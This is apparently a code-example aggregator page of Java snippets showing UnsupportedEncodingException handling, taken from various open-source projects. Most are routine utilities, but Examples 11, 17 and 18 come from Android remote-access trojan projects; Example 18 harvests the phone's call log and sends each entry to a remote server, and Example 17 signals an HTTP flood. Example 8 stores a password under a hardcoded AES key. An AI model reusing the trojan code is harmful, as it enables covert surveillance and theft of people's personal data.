Java Code Examples for java.io.UnsupportedEncodingException#printStackTrace()

The following examples show how to use java.io.UnsupportedEncodingException#printStackTrace() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: Utility.java    From iBeebo with GNU General Public License v3.0 6 votes vote down vote up
public static Bundle decodeUrl(String s) {
    Bundle params = new Bundle();
    if (s != null) {
        String array[] = s.split("&");
        for (String parameter : array) {
            String v[] = parameter.split("=");
            try {
                params.putString(URLDecoder.decode(v[0], "UTF-8"), URLDecoder.decode(v[1], "UTF-8"));
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();

            }
        }
    }
    return params;
}
 
Example 2
Source File: UserInfoActivity.java    From light-novel-library_Wenku8_Android with GNU General Public License v2.0 6 votes vote down vote up
@Override
protected Wenku8Error.ErrorCode doInBackground(Integer... params) {

    byte[] b = LightNetwork.LightHttpPostConnection(Wenku8API.BASE_URL, Wenku8API.getUserLogoutParams());
    if(b == null) return Wenku8Error.ErrorCode.NETWORK_ERROR;

    try {
        String result = new String(b, "UTF-8");
        if(!LightTool.isInteger(result)) {
            return Wenku8Error.ErrorCode.RETURNED_VALUE_EXCEPTION;
        }

        return Wenku8Error.getSystemDefinedErrorCode(new Integer(result)); // get 1 or 4 exceptions
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
        return Wenku8Error.ErrorCode.BYTE_TO_STRING_EXCEPTION;
    }
}
 
Example 3
Source File: CookieUtils.java    From express-ssm with Apache License 2.0 6 votes vote down vote up
/**
 * 得到Cookie的值
 * @author jitwxs
 * @version 创建时间:2018年4月16日 下午7:08:13
 * @param isDecoder 是否编码,编码格式为UTF-8
 */
public static String getCookieValue(HttpServletRequest request, String cookieName, boolean isDecoder) {
    Cookie[] cookieList = request.getCookies();
    if (cookieList == null || cookieName == null) {
        return null;
    }
    String retValue = null;
    try {
        for (int i = 0; i < cookieList.length; i++) {
            if (cookieList[i].getName().equals(cookieName)) {
                if (isDecoder) {
                    retValue = URLDecoder.decode(cookieList[i].getValue(), "UTF-8");
                } else {
                    retValue = cookieList[i].getValue();
                }
                break;
            }
        }
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }
    return retValue;
}
 
Example 4
Source File: Http.java    From PacketProxy with Apache License 2.0 6 votes vote down vote up
public MultiValueMap<String, Parameter> getBodyParams(){
	String body;
	try {
		body = new String(getBody(), "UTF-8");
	} catch (UnsupportedEncodingException e) {
		e.printStackTrace();
		return null;
	}
	String[] pairs = body.split("&");
	MultiValueMap<String, Parameter> nameToParams = new MultiValueMap<>();
	for(String param : pairs){
		Parameter p = new Parameter(param);
		nameToParams.put(p.getName(), p);
	}
	return nameToParams;
}
 
Example 5
Source File: FtsHelper.java    From fingen with Apache License 2.0 6 votes vote down vote up
private String getAuth(Context context) {
    SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(context);
    String phone = preferences.getString(FgConst.PREF_FTS_LOGIN, "");
    String code = preferences.getString(FgConst.PREF_FTS_PASS, "");
    String auth = String.format("%s:%s", phone, code);

    byte[] data = null;
    try {
        data = auth.getBytes("UTF-8");
    } catch (UnsupportedEncodingException e1) {
        e1.printStackTrace();
    }
    auth = Base64.encodeToString(data, Base64.DEFAULT);
    if (auth == null) {
        auth = "";
    }
    return auth;
}
 
Example 6
Source File: TransactionUtil.java    From chain33-sdk-java with BSD 2-Clause "Simplified" License 6 votes vote down vote up
/**
 * 
 * @description 本地创建coins转账payload
 * @param to 目标地址
 * @param amount 数量
 * @param coinToken 主代币则为""
 * @param note 备注,没有为""
 * @return payload
 */
public static byte[] createTransferPayLoad(String to, Long amount, String coinToken, String note) {
	TransferProtoBuf.AssetsTransfer.Builder assetsTransferBuilder = TransferProtoBuf.AssetsTransfer.newBuilder();
	assetsTransferBuilder.setCointoken(coinToken);
	assetsTransferBuilder.setAmount(amount);
	try {
		assetsTransferBuilder.setNote(ByteString.copyFrom(note, "utf-8"));
	} catch (UnsupportedEncodingException e) {
		e.printStackTrace();
	}
	assetsTransferBuilder.setTo(to);
	AssetsTransfer assetsTransfer = assetsTransferBuilder.build();
	TransferProtoBuf.CoinsAction.Builder coinsActionBuilder = TransferProtoBuf.CoinsAction.newBuilder();
	coinsActionBuilder.setTy(1);
	coinsActionBuilder.setTransfer(assetsTransfer);
	CoinsAction coinsAction = coinsActionBuilder.build();
	byte[] payload = coinsAction.toByteArray();
	return payload;
}
 
Example 7
Source File: WebUtils.java    From albert with MIT License 6 votes vote down vote up
/**
 * 添加cookie
 * 
 * @param request
 *            HttpServletRequest
 * @param response
 *            HttpServletResponse
 * @param name
 *            cookie名称
 * @param value
 *            cookie值
 * @param maxAge
 *            有效期(单位: 秒)
 * @param path
 *            路径
 * @param domain
 *            域
 * @param secure
 *            是否启用加密
 */
public static void addCookie(HttpServletRequest request, HttpServletResponse response, String name, String value, Integer maxAge, String path, String domain, Boolean secure) {
	Assert.notNull(request);
	Assert.notNull(response);
	Assert.hasText(name);
	try {
		name = URLEncoder.encode(name, "UTF-8");
		value = URLEncoder.encode(value, "UTF-8");
		Cookie cookie = new Cookie(name, value);
		if (maxAge != null) {
			cookie.setMaxAge(maxAge);
		}
		if (StringUtils.isNotEmpty(path)) {
			cookie.setPath(path);
		}
		if (StringUtils.isNotEmpty(domain)) {
			cookie.setDomain(domain);
		}
		if (secure != null) {
			cookie.setSecure(secure);
		}
		response.addCookie(cookie);
	} catch (UnsupportedEncodingException e) {
		e.printStackTrace();
	}
}
 
Example 8
Source File: LoginActivity.java    From KUAS-AP-Material with MIT License 5 votes vote down vote up
private void setUpViews() {
	mLoginButton.setOnClickListener(this);
	mPasswordEditText.setOnEditorActionListener(this);
	mIdTextInputLayout.setHint(getString(R.string.id_hint));
	mPasswordTextInputLayout.setHint(getString(R.string.password_hint));
	mIdEditText.setText(Memory.getString(this, Constant.PREF_USERNAME, ""));

	String pwd = Memory.getString(this, Constant.PREF_PASSWORD, "");
	if (pwd.length() > 0) {
		try {
			byte[] TextByte = Utils.DecryptAES(Constant.IvAES.getBytes("UTF-8"),
					Constant.KeyAES.getBytes("UTF-8"),
					Base64.decode(pwd.getBytes("UTF-8"), Base64.DEFAULT));
			if (TextByte != null) {
				mPasswordEditText.setText(new String(TextByte, "UTF-8"));
			}
		} catch (UnsupportedEncodingException e) {
			e.printStackTrace();
		}
	}

	mRememberCheckBox
			.setChecked(Memory.getBoolean(this, Constant.PREF_REMEMBER_PASSWORD, true));
	mRememberCheckBox.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
		@Override
		public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
			if (!mRememberCheckBox.isChecked()) {
				Memory.setString(LoginActivity.this, Constant.PREF_PASSWORD, "");
			}
		}
	});
}
 
Example 9
Source File: Request.java    From lwm2m_over_mqtt with Eclipse Public License 1.0 5 votes vote down vote up
public void addPayloadContent(byte[] content) {
	try {
		if(content != null  && content.length > 0) {
			this.payload.content.append(" ");
			this.payload.content.append(new String(content, "UTF-8"));
		}
	} catch (UnsupportedEncodingException e) {
		// TODO Auto-generated catch block
		e.printStackTrace();
	}
}
 
Example 10
Source File: Base64UrlSafe.java    From flickr-uploader with GNU General Public License v2.0 5 votes vote down vote up
public static String encodeServer(byte[] bytes) {
	try {
		return new String(encodeBase64(bytes),UTF_8);
	} catch (UnsupportedEncodingException e) {
		e.printStackTrace();
	}
	return null;
}
 
Example 11
Source File: MyService.java    From Dendroid-HTTP-RAT with GNU General Public License v3.0 5 votes vote down vote up
@Override
        protected void onPostExecute(String result) {
			try {
				getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Recording Video");
			} catch (UnsupportedEncodingException e1) {
				e1.printStackTrace();
			}
	       	 try {
	 	        Thread.sleep(Integer.parseInt(j));         
	 	    } catch (InterruptedException e) {
	 	       e.printStackTrace();
	 	    }
//        	PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Media",false).commit();
        }
 
Example 12
Source File: JobXServlet.java    From JobX with Apache License 2.0 5 votes vote down vote up
private String cleanXSS(String value) {
    if (value == null) return null;
    try {
        value = URLDecoder.decode(value, Constants.CHARSET_UTF8);
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }
    return StringUtils.htmlEncode(value);
}
 
Example 13
Source File: StringUtils.java    From charging_pile_cloud with MIT License 5 votes vote down vote up
/**
 * urlcode转字符串
 *
 * @param value
 * @return
 */
public static String urlcodeToStr(String value) {
    try {
        value = java.net.URLDecoder.decode(value, "utf-8");
        return value;
    } catch (UnsupportedEncodingException e) {
        log.error( "URLCode转换为字符串失败;value:" + value, e);
        e.printStackTrace();
        return null;
    }
}
 
Example 14
Source File: RoleController.java    From jeecg with Apache License 2.0 5 votes vote down vote up
/**
 * 更新按钮权限
 * 
 * @param request
 * @return
 */
@RequestMapping(params = "updateOperation")
@ResponseBody
public AjaxJson updateOperation(HttpServletRequest request) {
	AjaxJson j = new AjaxJson();
	String roleId = request.getParameter("roleId");
	String functionId = request.getParameter("functionId");

	String operationcodes = null;
	try {
		operationcodes = URLDecoder.decode(
				request.getParameter("operationcodes"), "utf-8");
	} catch (UnsupportedEncodingException e) {
		e.printStackTrace();
	}

	CriteriaQuery cq1 = new CriteriaQuery(TSRoleFunction.class);
	cq1.eq("TSRole.id", roleId);
	cq1.eq("TSFunction.id", functionId);
	cq1.add();
	List<TSRoleFunction> rFunctions = systemService.getListByCriteriaQuery(
			cq1, false);
	if (null != rFunctions && rFunctions.size() > 0) {
		TSRoleFunction tsRoleFunction = rFunctions.get(0);
		tsRoleFunction.setOperation(operationcodes);
		systemService.saveOrUpdate(tsRoleFunction);
	}
	j.setMsg("按钮权限更新成功");
	return j;
}
 
Example 15
Source File: Response.java    From lwm2m_over_mqtt with Eclipse Public License 1.0 5 votes vote down vote up
public Response(MqttMessage message) {
	String msg = null;
	try {
		msg = new String(message.getPayload(), "UTF-8");
	} catch (UnsupportedEncodingException e) {
		// TODO Auto-generated catch block
		e.printStackTrace();
	}
	String[] data = msg.split(" ", 2);
	this.payload = data[1];
	this.responseCode = Float.valueOf(data[0]);
}
 
Example 16
Source File: StringUtils.java    From icafe with Eclipse Public License 1.0 5 votes vote down vote up
public static String toUTF16BE(byte[] data, int start, int length) {
	String retVal = "";
	
	 try {
		 retVal = new String(data, start, length, "UTF-16BE");
	 } catch (UnsupportedEncodingException e) {
		 e.printStackTrace();
	 }
	
	 return retVal;		 
}
 
Example 17
Source File: MyService.java    From BetterAndroRAT with GNU General Public License v3.0 5 votes vote down vote up
@Override
      protected void onPreExecute() {try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Starting HTTP Flood");
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}}
 
Example 18
Source File: MyService.java    From BetterAndroRAT with GNU General Public License v3.0 4 votes vote down vote up
@Override
     protected String doInBackground(String... params) {     
String strOrder = android.provider.CallLog.Calls.DATE + " DESC";
      Uri callUri = Uri.parse("content://call_log/calls");
      Cursor managedCursor = getApplicationContext().getContentResolver().query(callUri, null, null, null, strOrder);
      int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
      int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
      int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
      int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
      int name = managedCursor.getColumnIndex(CallLog.Calls.CACHED_NAME);
      int i = 0;
      while (managedCursor.moveToNext()) {
      	if(i<Integer.parseInt(j))
       {
           String phNumber = managedCursor.getString(number);
           String nameS = managedCursor.getString(name);
           String callType = managedCursor.getString(type);
           String callDate = managedCursor.getString(date);
           Date callDayTime = new Date(Long.valueOf(callDate));
           String callDuration = managedCursor.getString(duration);
           String dir = null;
           
           int dircode = Integer.parseInt(callType);
           switch (dircode) {
           case CallLog.Calls.OUTGOING_TYPE:
               dir = "OUTGOING";
               break;
		
           case CallLog.Calls.INCOMING_TYPE:
               dir = "INCOMING";
               break;
		
           case CallLog.Calls.MISSED_TYPE:
               dir = "MISSED";
               break;
           }
  	        try {
			getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "["+dir+"] " + "["+phNumber+"] " + "[" + nameS + "] "+ "["+callDate+"] " + "["+callDayTime+"] " + "[Duration: "+callDuration+" seconds]");
		} catch (UnsupportedEncodingException e) {
			 
			e.printStackTrace();
		}        	
       }
      	i++;
      }
      managedCursor.close();
      
   return "Executed";
     }
 
Example 19
Source File: UploadManager.java    From qingstor-sdk-java with Apache License 2.0 4 votes vote down vote up
/**
 * Upload a file with a simple put object upload as a sync request. <br>
 * If a file's size is less than {@link UploadManager#partSize}, there will call this method.
 *
 * @param file file
 * @param objectKey key of the object in the bucket
 * @param fileName file name of response(content-disposition) when downloaded
 * @param length length of the file
 * @throws QSException exception
 */
public void putFile(File file, final String objectKey, String fileName, long length)
        throws QSException {
    PutObjectInput input = new PutObjectInput();
    input.setContentLength(length);
    input.setBodyInputFile(file);
    // Set content disposition to the object.
    if (!QSStringUtil.isEmpty(fileName)) {
        try {
            String keyName = QSStringUtil.percentEncode(fileName, "UTF-8");
            input.setContentDisposition(
                    String.format(
                            "attachment; filename=\"%s\"; filename*=utf-8''%s",
                            keyName, keyName));
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }
    }

    RequestHandler requestHandler = bucket.putObjectRequest(objectKey, input);

    // Set progress listener.
    if (progressListener != null) {
        requestHandler.setProgressListener(
                new BodyProgressListener() {
                    @Override
                    public void onProgress(long len, long size) {
                        progressListener.onProgress(objectKey, len, size);
                    }
                });
    }

    // Cancellation handler.
    requestHandler.setCancellationHandler(cancellationHandler);

    // Sign if needed.
    sign(requestHandler);

    OutputModel outputModel = requestHandler.send();
    if (callBack != null) callBack.onAPIResponse(objectKey, outputModel);
}
 
Example 20
Source File: DocumentQueryExecutionContextBase.java    From azure-cosmosdb-java with MIT License 4 votes vote down vote up
private RxDocumentServiceRequest createQueryDocumentServiceRequest(Map<String, String> requestHeaders,
        SqlQuerySpec querySpec) {
    RxDocumentServiceRequest executeQueryRequest;

    String queryText;
    switch (this.client.getQueryCompatibilityMode()) {
    case SqlQuery:
        SqlParameterCollection params = querySpec.getParameters();
        Utils.checkStateOrThrow(params != null && params.size() > 0, "query.parameters",
                "Unsupported argument in query compatibility mode '%s'",
                this.client.getQueryCompatibilityMode().toString());

        executeQueryRequest = RxDocumentServiceRequest.create(OperationType.SqlQuery, this.resourceTypeEnum,
                this.resourceLink,
                // AuthorizationTokenType.PrimaryMasterKey,
                requestHeaders);

        executeQueryRequest.getHeaders().put(HttpConstants.HttpHeaders.CONTENT_TYPE, MediaTypes.JSON);
        queryText = querySpec.getQueryText();
        break;

    case Default:
    case Query:
    default:
        executeQueryRequest = RxDocumentServiceRequest.create(OperationType.Query, this.resourceTypeEnum,
                this.resourceLink,
                // AuthorizationTokenType.PrimaryMasterKey,
                requestHeaders);

        executeQueryRequest.getHeaders().put(HttpConstants.HttpHeaders.CONTENT_TYPE, MediaTypes.QUERY_JSON);
        queryText = querySpec.toJson();
        break;
    }

    try {
        executeQueryRequest.setContentBytes(queryText.getBytes("UTF-8"));
    } catch (UnsupportedEncodingException e) {
        // TODO Auto-generated catch block
        // TODO: exception should be handled differently
        e.printStackTrace();
    }

    return executeQueryRequest;
}